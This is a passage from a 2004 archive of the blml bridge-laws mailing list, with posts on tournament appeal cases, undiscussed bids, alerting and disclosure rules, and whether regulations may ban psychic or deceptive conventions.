Jul 30 05:10:07 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 29 Jul 2004 23:10:07 -0500 Subject: [blml] Reno NABC+ appeal number ten Message-ID: >>> 7/29/2004 10:27:28 PM >>> Jim Hudson: [snip] >>the write-up of this case, skimpy and vague as >>it is, strongly suggests that the 4C bid was, by >>partnership agreement, *natural*. [snip] The Decision: >The committee considered, in the absence of any >other agreement, that 4C would be clubs and >forcing. [snip] Richard Hills: In my opinion, the committee argued that there was *not* a partnership agreement about the meaning of 4C, and so merely ruled what a *logical* guess by opener would be, pursuant to their partnership *non*-agreement. So, the point of my posting was to ask whether guessing "clubs and forcing" was: (a) a logical alternative? or (b) an illogical alternative? And, if (b) was the case, what other guesses were logical alternatives? Best wishes RJH ----------------------------- The write-up includes this: "East was clear [i.e., stated clearly], and was supported by external evidence, that 4C was neither Stayman nor Gerber. EW play no conventional calls after 3NT openings or overcalls." This suggests that the EW *agreement* was that 4C was natural. Even without agreement, just by "bridge logic," it would be forcing. Therefore, no interpretation other than "clubs and forcing" is logical. Jim Hudson __ From richard.hills@immi.gov.au Fri Jul 30 05:27:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 14:27:52 +1000 Subject: [blml] Reno NABC+ appeal number ten Message-ID: Jim Hudson: >The write-up includes this: "East was >clear [i.e., stated clearly], and was >supported by external evidence, that 4C >was neither Stayman nor Gerber. EW >play no conventional calls after 3NT >openings or overcalls." [snip] Richard Hills: The clarity of *one* player, East, does not a *mutual* partnership agreement make. Most regular partnerships are homogender. In some cases, the only time that a player forms a bigender partnership is for a Mixed Pairs. I suspect, on the available evidence, that this particular mixed pairs partnership was ad hoc for the event only. I note without surprise that the "clear" East was the male chauvinist pig half of the mixed partnership; I suspect that it was his idea to inflict his unusual pet bidding methods on his partner without any prior detailed discussion. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 05:44:58 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 14:44:58 +1000 Subject: [blml] Reno NABC+ appeal number eleven Message-ID: Mixed Pairs Dlr: West Vul: None The bidding has gone: WEST NORTH EAST SOUTH 1C 2NT(1) Pass 3S Dble(2) 5D Pass ? (1) At least 5/5 in spades & diamonds, weak or strong (2) Undiscussed You, South, hold: KT743 A63 764 85 What call do you make? What other calls do you consider making? Best wishes Richard Hills From wayne.burrows@xtra.co.nz Fri Jul 30 06:53:24 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 30 Jul 2004 17:53:24 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <008d01c475f9$87647230$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Friday, 30 July 2004 4:01 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > > > > Wayne Burrows: > > >I was thinking about another post and I realized that this is > >contrary for L40A. > > > >"A player may make any call or play (including an intentionally > >misleading call - such as a psychic bid - or a call or play that > >departs from commonly accepted, or previously announced, use > >of a convention), without prior announcement, provided that > >such call or play is not based on a partnership understanding." > > > >Paraphrased this states that 'A player may make a psychic bid > >without prior announcement'. > > Richard Hills: > > Some years ago, the gafiated David Burn correctly noted that > Law 40A was not written in English. Why not? Wayne From ljtrent@adelphia.net Fri Jul 30 07:33:16 2004 From: ljtrent@adelphia.net (Linda Trent) Date: Thu, 29 Jul 2004 23:33:16 -0700 Subject: [blml] The Future of ACBL Casebooks In-Reply-To: <003f01c46838$4e19fdc0$6401a8c0@san.rr.com> Message-ID: >>From Linda Trent: >>> >>> >>There was the case once in which a lady pro, embarrassed by >>> >>a meritless >>> >>appeal that her client insisted on, asked that the case not >>> >>be published >>> >>in the DB. Since the case had no interest at all, omitting >>> >>it was not a >>> >>great crime. It was in the casebook, of course. >>> >> >>>> >>> >>> That never happened --- if the lady pro was so embarrassed >>> she should have insisted the appeal not be brought. >> >>She probably did, in vain. It is difficult for a pro to >>risk losing a >>determined client by refusing to participate in an appeal It impossible for her to do it in vain -- she just tells the director she will not particpate in the appeal and it is over. There is no appeal. --- unless the customer was more important than --- welll not going into that ----- if ya stand under the lampost ---- >> >>> I think i know the exact appeal you mean. Rich or I would >>> not allow that to happen. She could ask all she wanted >>> and we would have ignored her. >>> >>> Any appeal that didn't appear was a matter of me getting >>> the appeal write-ups through the process and having a >>> couple days to enjoy playing bridge. >>> >>Perhaps I have misremembered a conversation at the time >>with you or Rich >>or "the lady involved." If so, sorry, but it seems unlikely >>that I would >>dream it up. What seems likely is that she made the >>request, which was >>ignored, and the case did not appear in the DB for reasons you give. I guarantee you that is what happened. IIR the appeal was more than halfway into the tournament and if we had enough fodder for the Daily Bulletin then that was it --- after all I was getting paid next to nothing. If any such thing was ever to happen I would no longer have participated in the process. Linda >> >>Marv >>Marvin L. French >>San Diego, California >> >>. >> >> >> >>_______________________________________________ >>blml mailing list >>blml@rtflb.org >>http://www.amsterdamned.org/mailman/listinfo/blml >> >>--- >>Incoming mail is certified Virus Free. >>Checked by AVG anti-virus system (http://www.grisoft.com). >>Version: 6.0.716 / Virus Database: 472 - Release Date: 7/5/2004 >> --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.725 / Virus Database: 480 - Release Date: 7/19/2004 From hermandw@hdw.be Fri Jul 30 08:43:51 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jul 2004 09:43:51 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4109FC37.2080800@hdw.be> Hello Richard, I did think it strange that we were apparently disagreeing over something so simple, and it turns out I was right. Let's try and close the gap some more: richard.hills@immi.gov.au wrote: > > > > Herman De Wael: > > >>The point I am trying to make is that it is not >>good if people who have some idea keep saying "no >>idea" and claim that this is full disclosure. > > > Richard Hills: > > I fully agree with you that implicit partnership > agreements should be disclosed. > thank you. > Herman De Wael: > > >>You seem to argue that this is OK. I can't >>believe that that is what you are actually saying. > > > Richard Hills: > > No, I am objecting to what you are apparently saying, > which apparently is either: > > (a) there is no such thing as a non-agreement, with > every call of every partnership being based on an > explicit or implicit partnership agreement, > Well, in a sense, that is what I am saying. I believe it is impossible that there is "nothing". The more elaborate the apparent intention of one bidder, the more implicit agreement there needs to be. Especially if the partner apparently finds himself on the same wavelength. > or > > (b) there may be rare non-agreements, but a player > should not say "undiscussed", because a properly > trained Hermanish TD will rule "implicit agreement" > anyway pursuant to Law 85. > Yes, that is what I am indeed saying. If both partners seemingly agree on the "meaning" of a bid, then it will be very hard for them to prove that there is no implicit agreement. Failure to even try to disclose such implicit agreements is not very helpful and I have no qualms about not ruling in their favour. > Best wishes > > RJH > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Frances.Hinden@Shell.com Fri Jul 30 09:57:52 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 30 Jul 2004 09:57:52 +0100 Subject: [blml] Reno NABC+ appeal number ten Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CE7@lonsc-s-031.europe.shell.com> Mixed Pairs Dlr: North Vul: North-South The bidding has gone: WEST NORTH EAST SOUTH --- Pass Pass 3NT(1) Pass 4C(2) Pass ? (1) 25-27 hcp, balanced (2) Undiscussed You, South, hold: AQ765 AK7 AK AQ4 What call do you make? What other calls do you consider making? Best wishes Richard Hills --------------------------------------------- a) 4S b) None The problem is whether I'm going to pass or bid clubs after partner's = 4NT bid, not this round. From Frances.Hinden@Shell.com Fri Jul 30 10:00:13 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 30 Jul 2004 10:00:13 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CE8@lonsc-s-031.europe.shell.com> Frances Hinden: [snip] >I am aware of a pair who >a) play double as non-lead-directing of all cuebids >b) do not alert every pass of a cuebids > >which strikes me as of dubious legality, but at least >they have to alert the double whereas a normal lead- >directing double doesn't have to be alerted. [snip] Richard Hills: In my opinion, that pair's failure to alert passes of cuebids is not merely "dubious", but rather a total infraction of the EBU alert rules. Orange Book, clause 5.2.1(c): >>You must alert a call if it is natural, but its >>meaning is affected by other agreements which your >>opponents are unlikely to expect. Richard Hills: But, in my opinion, that pair's (properly alerted) idea to use an Undouble convention should not fall foul of the EBU "designed solely to deceive" regulation. A variant of this Undouble convention was invented by Meckwell, for circumstances when one of them had the option of doubling a cuebid of their previous overcall. Their logic was: (x) pard will normally lead your overcalled suit, so a lead-directing double is superfluous, and (y) a Meckwell often overcalls with tatty suit-quality, so a lead-undirecting double is useful. Best wishes RJH ---------------------------------------------------------- There is a huge difference between non-lead-directional doubles of cuebids of a suit you have overcalled in, and non-lead-directional doubles of all cuebids IF your=20 opponents know your methods and have the blue card available. From grandeval@vejez.fsnet.co.uk Fri Jul 30 10:17:04 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Fri, 30 Jul 2004 10:17:04 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> Message-ID: <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Professional men, they have no cares, Whatever happens, they get theirs." [Ogden Nash] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "WILLIAM SCHODER" To: "blml" ; "Endicott Grattan" Sent: Thursday, July 29, 2004 10:44 PM Subject: Re: [blml] Deceiving and destroying > > > My military service and professional > approach as a TD have never been other than to > vigorously present and defend my ideas in the > appropriate milieu and then "get on the horse and > ride" to the best of my ability when a decision is > made --whether I like it or not. Your characterization > is not only wrong and unfair, but could be construed > as a cheap shot. > +=+ I grieve that you should think I might be taking a cheap shot at you. My respect for your service to the game is immense and what you say of it is true. This does not mean that I have to agree with you in everything. My position on the subject is that regulations such as the EBL, the ACBL, and the WBF publish. banning psychics of artificial opening bids *are legal* - and they are legal simply because the WBFLC has acknowledged that regulations under 40D are not subject to conditions set in 80F. At no time since I have been a member of it has the WBFLC as a body even suggested the matter be questioned - and let me add that Kaplan remained silent on it in the Theus era, in committee at least. At that time the committee found no cause to oppose the EBL regulation which was referred to it. (The EBL asked for reassurance that its regulation was lawful.) I do not know what the intent of the authors was when, in 1975, the explicit words of the 1963 Code were changed into a blanket statement, but by the time we came to the 1987 laws I knew the position of the committee and heard no argument in the drafting body to change it. My own opinion was, and is, that SOs should have the right to set conditions as they please in their own tournaments. Where we do agree is that there should be no scope for conflict in the next code of laws. ~ G ~ +=+ From schoderb@msn.com Fri Jul 30 11:34:10 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 30 Jul 2004 06:34:10 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <003a01c475cb$80a00c80$dd9b4c51@yourtkrv58tbs0> Message-ID: > On the other hand I do not need to be reminded where > the power lies or where the decision will be made > what powers these bodies are to have. > ~ Grattan ~ +=+ > Nor do I, which is my point. Kojak From schoderb@msn.com Fri Jul 30 11:53:13 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 30 Jul 2004 06:53:13 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> Message-ID: > +=+ I grieve that you should think I might be taking a > cheap shot at you. My respect for your service to the > game is immense and what you say of it is true. This does > not mean that I have to agree with you in everything. My > position on the subject is that regulations such as the > EBL, the ACBL, and the WBF publish. banning > psychics of artificial opening bids *are legal* - and they > are legal simply because the WBFLC has acknowledged > that regulations under 40D are not subject to conditions > set in 80F. At no time since I have been a member of it > has the WBFLC as a body even suggested the matter > be questioned - and let me add that Kaplan remained > silent on it in the Theus era, in committee at least. At > that time the committee found no cause to oppose the > EBL regulation which was referred to it. (The EBL > asked for reassurance that its regulation was lawful.) > I do not know what the intent of the authors was > when, in 1975, the explicit words of the 1963 Code > were changed into a blanket statement, but by the time > we came to the 1987 laws I knew the position of the > committee and heard no argument in the drafting body > to change it. My own opinion was, and is, that SOs > should have the right to set conditions as they please > in their own tournaments. > Where we do agree is that there should be no > scope for conflict in the next code of laws. > ~ G ~ +=+ > > The last sentence, seems to imply that we don't agree on the foregoing. Not so. Further, please give me your opinion on whether or not barring psyches(sic) is a "condition" to be regulated by SOs, or is an integral part of the game. Maury Braunstein taught me too many years ago that the Laws do not permit you to bar psyches, but they do permit you to bar psychers. In teaching the laws for many years to club directors and interested players in seminars, I used this concept. Was I wrong? Kojak =K= From ereppert@rochester.rr.com Fri Jul 30 13:48:43 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jul 2004 08:48:43 -0400 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: Message-ID: On Wednesday, Jul 28, 2004, at 08:14 US/Eastern, David Stevenson wrote: > it is the long term effects of that first lie that cause all the > trouble, not the lie itself. That's the usual effect of such things. From ereppert@rochester.rr.com Fri Jul 30 14:34:26 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jul 2004 09:34:26 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <2CFF8405-E22D-11D8-8857-0030656F6826@rochester.rr.com> On Wednesday, Jul 28, 2004, at 14:10 US/Eastern, James Hudson wrote: > Suppose a pair comes up with a new convention which is > difficult to defend against, and for which no one has yet prepared a > defense, and starts using it (with alerts, of course, and an > appropriate > notation on their CCs) in a matchpoint pairs game. Opponents complain > to the director. It seems that (at least in some such cases) David > wants the decision whether to permit the use of this convention to > depend on whether it is judged to have *technical merit*, as opposed to > being *merely deceptive/destructive*. If the former, the innovative > pair are to be handed a windfall: until a relatively effective defense > is designed and disseminated, they will gain from their opponents' > confusion and lack of preparation. But do we not want to save the > field > from having to cope with such a novelty (even though it has theoretical > merit)? Then we have no reason to distinguish between the meritorious > and the "deceptive/destructive" in our regulations. A couple of years ago, my then partner and I decided to give Romex a try. One evening at the club, after we'd been playing it a couple months, the TD walked up and said "I understand you're playing an artificial and forcing 1NT opening." When I confirmed we were, the TD said "That bid is banned in this club," and walked away. I protested that it is legal under the ACBL's General Convention Chart. No matter. He was adamant. Another TD who was assisting that evening, and who runs another club said "you can play it at my club, provided you pre-alert it and provide a written defense to it." I presume both of these TDs were acting on the "save the field from such a novelty" idea (nobody else around here plays Romex). I think they were both wrong. From nigel.guthrie@ntlworld.com Fri Jul 30 15:18:27 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 30 Jul 2004 15:18:27 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club References: Message-ID: <021701c47640$155e42a0$459468d5@jeushtlj> > [Richard James Hills] > You are a semi-sponsor player partnering > a semi-professional player at a semi-social > bridge club for the first time. Your > partnership's two-minute system discussion > resulted in an agreement to play KISS Acol > with Benjy Twos. > Pairs N/GA > You, South, hold: J943 T7 KT8742 7 > WEST NORTH EAST SOUTH > --- 3NT(1) ?(2) > (1) Undiscussed. You know that your semi- > pro pard does not know your personal > preferred agreement for a 3NT opening. > But, both you and your semi-pro pard know > that: > (a) Half the partnerships at this semi- > social bridge club define a 3NT opening > as 25-27 hcp, balanced. (b) Half the partnerships at this semi-social bridge club play the Gambling 3NT, showing a solid minor. (2) Please explain. What explanation of your semi-pro pard's 3NT bid do you give? [Nigel] 1. I reply "Long solid minor, not much else". [because our agreement was "Simple Acol" and IMO you should answer opponents' questions truthfully and succinctly] 2. If my partner had no expert pretensions I might add that "In our two minute system discussion, we didn't address this specific issue"; but this is rather unfair to opponents who may not be aware of my partner's expert status and so might not realize that he should know the system that he wants me to play. 3. I consider confusing the issue with "but some here play 25-27 flat" [but I regard that as possible misdirection]. 4. If our agreement wasn't "Simple Acol", I would consider asking my partner to leave the table before I explained his bid. 5. In some Bridge circles, the answer would be "we play basic Acol with Benjamin but this bid is undiscussed". Although truthful, this answer assumes "general bridge knowledge and experience that opponents" may well lack. Such explanations are currently perfectly legal but IMO they shouldn't be. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.725 / Virus Database: 480 - Release Date: 20-Jul-04 From t.kooyman@worldonline.nl Fri Jul 30 15:16:18 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Fri, 30 Jul 2004 16:16:18 +0200 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> Message-ID: <003001c47640$74454de0$a580b6d4@LNV> >> > Where we do agree is that there should be no > > scope for conflict in the next code of laws. > > ~ G ~ +=+ > > > > > The last sentence, seems to imply that we don't agree on the foregoing. > Not so. Further, please give me your opinion on whether or not barring > psyches(sic) is a "condition" to be regulated by SOs, or is an integral part > of the game. Maury Braunstein taught me too many years ago that the Laws do > not permit you to bar psyches, but they do permit you to bar psychers. In > teaching the laws for many years to club directors and interested players in > seminars, I used this concept. Was I wrong? > > Kojak > > =K= > Of course it is not an integral part of the game. Glad to hear that Maury sharesd our opinion. Be careful with a statement like being permitted to bar psychers. Not everyody will understand what you are saying. ton From gordon@gordonrainsford.co.uk Fri Jul 30 15:50:01 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Fri, 30 Jul 2004 15:50:01 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <003001c47640$74454de0$a580b6d4@LNV> References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> <002201c47616$3242c050$4e6a893e@yourtkrv58tbs0> <003001c47640$74454de0$a580b6d4@LNV> Message-ID: On 30 Jul 2004, at 15:16, Ton Kooijman wrote: > Be careful with a statement like being permitted to bar psychers. Not > everyody will understand what you are saying. Maybe one of you would care to explain? -- Gordon Rainsford London UK From hermandw@hdw.be Fri Jul 30 16:17:01 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jul 2004 17:17:01 +0200 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: <021701c47640$155e42a0$459468d5@jeushtlj> References: <021701c47640$155e42a0$459468d5@jeushtlj> Message-ID: <410A666D.3030706@hdw.be> Not many comments on Nigel's answers, but one: Nigel Guthrie wrote: > 5. In some Bridge circles, the answer > would be "we play basic Acol with Benjamin > but this bid is undiscussed". Although > truthful, this answer assumes "general > bridge knowledge and experience that > opponents" may well lack. Such > explanations are currently perfectly > legal but IMO they shouldn't be. > I don't think they are legal. If opponent's lack the knowledge you consider "general" then apparently it is not. I would accept this kind of answer and expect the opponents to ask further questions if they don't know what this entails. I would not rule against you if the opponents don't ask further questions. So in that sense, this answer is legal and should remain so. Whether or not it is helpful or even complete (does Acol include a particular definition of the 3NT opening) is not of concern for this post. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From mfrench1@san.rr.com Fri Jul 30 16:51:37 2004 From: mfrench1@san.rr.com (Marvin French) Date: Fri, 30 Jul 2004 08:51:37 -0700 Subject: [blml] New York NABC Appeals Message-ID: <000601c4764d$1ab8e220$6401a8c0@san.rr.com> Could not attend the NY NABC because of a family reunion at that time. Just received the whole set of Daily Bulletins in the mail (a Patron Member perk), and saw that the Nickell team won the Spingold after a scare in the semi-final. The Daily Bulletin's story began: In one of the greatest comebacks in bridge history, the Nickell squad erased a 71-IMP deficit over the final 16 boards to charge into the final of the Spingold Knockout Teams with a 154-143 victory over the George Jacobs team. The result was held up while an appeal that would have affected the outcome was settled in Nickell's favor. So I eagerly looked at later Bulletins to find the appeal story, but it was not reported. In fact, no appeals were published in the Daily Bulletins. Anyone know why? Linda? Joan? Marv Marvin L. French San Diego, California From toddz@att.net Fri Jul 30 18:19:42 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Fri, 30 Jul 2004 13:19:42 -0400 Subject: [blml] Reno NABC+ appeal number ten In-Reply-To: References: Message-ID: <6.0.1.1.1.20040730131109.01b7e9c8@postoffice.worldnet.att.net> At 10:05 PM 7/29/2004, richard.hills@immi.gov.au wrote: > What call do you make? > What other calls do you consider making? I call 4S. I consider 5C, 5NT, 6C and 6NT. If an opponent's question has put partner (4C bidder) in a UI situation, I strongly consider 7NT. I strongly reject pass. Having opened a 25-27HCP 3NT, I'd hope partner isn't trying to put me in partscore. -Todd From blml@blakjak.com Fri Jul 30 18:47:05 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 18:47:05 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <000f01c47586$c96c1e30$965ddccb@noeltsui0kso1i> References: <004701c474b7$bef57110$0d80b6d4@LNV> <000f01c47586$c96c1e30$965ddccb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote >I'm sorry - and I apologise to the whole list - if the word offends - I >don't resort to such terms usually - and this is by far the strongest I will >ever use - but it certainly got the discussion going - and I think we have >all learned a lot about the way we think about these things. > >I think the 'methods designed to deceive' regulations are misguided and I >think the 'methods designed to destroy' regulations are dangerous. They can >and will be used wrongly. Pre-alerts and proper alerting requirements, >combined with adequate system classification requirements (Green, Blue, Red >and Yellow), further combined with restrictions on which events in which >they can be used and finally severe penalties for not alerting bids which >could deceive or deliberately deceiving an opponent as to meaning and method >(i.e. a BOTTOM, followed by a PP if repeated) will remove the problem - if >it even exists! Let me get this straight. You play in a jurisdiction which has protectionist views, and doe snot allow anything like the wide breadth of conventions that are permitted in Australia. Conventions without bridge merit, ones difficult to defend against and uncommon, ones with little or no support are not permitted. But, despite this, you say that conventions with no technical merit and designed to gain an unfair advantage should be permitted? It makes no sense. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 30 18:51:32 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 18:51:32 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <000c01c47586$c62cd1b0$965ddccb@noeltsui0kso1i> References: <533D273D4014D411AB1D00062938C4D90404694E@hotel.npl.co.uk> <000c01c47586$c62cd1b0$965ddccb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote >All these calls are alertable in Australia - no one would be deceived here. >[So noone would even bother trying this on...] Yeah, right. Do you really have people who have built a whole system up in this way, so that they would be required to pre-alert large chunks of their system? Do you really think there would be no problem when they are spending three or four minutes pre-alerting? You are vastly over-simplifying a problem which I suspect you have not met. No doubt if the stated sequences were the only problem ones pre-alerting would help. Incidentally, it really would help the flow of argument if you could avoid top posting. >-----Original Message----- >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Robin >Barker >Sent: Thursday, July 29, 2004 2:42 AM >To: 'Hinden, Frances SI-PXS'; Bridge Laws Discussion List >Subject: RE: [blml] Deceiving and destroying > > > > >-----Original Message----- >From: Hinden, Frances SI-PXS [mailto:Frances.Hinden@Shell.com] >Sent: 28 July 2004 17:15 >To: Bridge Laws Discussion List >Subject: RE: [blml] Deceiving and destroying > >[snip] > >The EBU regulation is specifically aimed at methods which are trying to >circumvent the Laws on full disclosure (even if only by slipping past >careless oppo). I'm not actually aware of many examples, though RMB and DWS >may be able to do better. > >I am aware of a pair who >a) play double as non-lead-directing of all cuebids >b) do not alert every pass of a cuebids > >which strikes me as of dubious legality, but at least they have to >alert the double whereas a normal lead-directing double doesn't have to be >alerted. > >I'm well aware of many examples of people trying to confuse with their >explanations, though the TD at the table can come down pretty sharpish on >these. But to me that's evidence that the regulation is useful. I also know >people who have designed signalling systems solely to confuse (if the first >card played >from dummy is odd, we play standard, if it's even we play reverse unless >the board is a prime number in which case it's the other way round) though I >don't think that ever saw the light of day when partner veto'd it. > >______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > >RMB writes (bottom posting - although my mail client doesn't like it): > >The various branches of this threat are getting very catty. >I haven't read all of it so I will not say much. > >I don't know any real examples except the one I imagine DWS has cited. (1N - >2D - 2H - 2N = spades, etc.) > >I think the answer to this is along the lines Ton used: >a big piece of paper and/or a verbal announcement before >the opening lead on any 1N - 2R - 2M - 2/3NT sequence. > e.g. after 1N - 2H - 2S - 3NT - P > "opener's calls after 1NT were forced, > he has shown simply a 1NT opener; > responder has not shown spades; > he has shown simply a raise to 3NT". > >Robin > >------------------------------------------------------------------- >This e-mail and any attachments may contain confidential and/or privileged >material; it is for the intended addressee(s) only. If you are not a named >addressee, you must not use, retain or disclose such information. > >NPL Management Ltd cannot guarantee that the e-mail or any attachments are >free from viruses. > >NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered >Office: Teddington, Middlesex, United Kingdom TW11 0LW. >------------------------------------------------------------------- > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 30 18:55:14 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 18:55:14 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: RJH wrote >Jim Hudson: > >>I see no tension between 40B and 75A, and I >>certainly don't see how 40B can bear the >>interpretation that players have the right to >>play whatever convention they choose. (Is >>that how you're interpreting it? If not, I >>have quite missed your point.) > >[snip] > >Richard Hills: > >Again, I apologise for my characteristic flaw >of Kaplanesque over-succinctness. > >My point was that *if* a pair are playing a >legal convention, and *if* also the sponsoring >organisation has an inadequate regulatory >environment for disclosure of legal conventions >(as, for example, the EBU does), *then* a >villainous pair can evade their Law 75A duties >by hiding behind the Law 40B phrase "discloses >the use of such call or play in accordance with >the regulations of the sponsoring organisation". Oh, come on, pairs that are trying to evade Full Disclosure are not going to be quite as naive as you think! Certainly the ABF's disclosure would be inadequate for this pair - I have seen your Convention Cards! >My secondary point was that the EBU's solution >to the problem of their inadequate regulatory >environment was Heath-Robinsonish. Rather than >sensibly introducing an Aussie-style Pre-Alert >regulation, the EBU decided to ban otherwise >legal conventions which had no technical merit. Why should we follow your inadequate methodology just to permit something we do not want permitted? I do not understand why you think that a jurisdiction that does not permit many things *should* permit a convention that is used for unethical behaviour. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 30 18:56:33 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 18:56:33 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: RJH wrote > > > > >Kojak: > >>>>The threat of dismissal for disagreement is disturbing. > >Grattan Endicott: > >>>+=+ Oh, I haven't heard any such threat. Have you? >>>On the other hand I do not need to be reminded where >>>the power lies or where the decision will be made >>>what powers these bodies are to have. >>> ~ Grattan ~ +=+ > >Hilaire Belloc: > >>The accursed power which stands on Privilege >>(And goes with Women, and Champagne, and Bridge) >>Broke - and Democracy resumed her reign: >>(Which goes with Bridge, and Women and Champagne) > >Richard Hills: > >It seems that Jose Damiani (foolishly) thinks that he holds >the accursed power. But it ain't so. The actuality of >power in Contract Bridge is distributed amongst thousands >of little old ladies throughout the world. Not according to your earlier posts: it is required that LOLs in England defer to their Australian counterparts who know what is best for them. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 30 18:58:06 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jul 2004 